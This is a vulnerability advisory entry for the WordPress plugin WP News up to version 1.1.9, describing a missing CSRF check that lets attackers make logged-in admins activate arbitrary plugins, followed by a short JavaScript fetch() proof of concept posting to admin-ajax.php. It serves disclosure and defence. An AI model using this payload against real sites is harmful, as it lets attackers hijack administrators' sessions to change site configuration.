Lucene search

K
wpvulndbLana CodesWPVDB-ID:C959F4CE-B6EA-4AEE-9A98-AA98D2A62138
HistoryFeb 28, 2023 - 12:00 a.m.

WP News <= 1.1.9 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
Lana Codes
wpscan.com
8
wordpress
plugin activation
csrf

EPSS

0.001

Percentile

33.2%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

PoC

activate woocommerce plugin exploit: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=ht-magazine_ajax_plugin_activation&location;=woocommerce/woocommerce.php’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

EPSS

0.001

Percentile

33.2%

Related for WPVDB-ID:C959F4CE-B6EA-4AEE-9A98-AA98D2A62138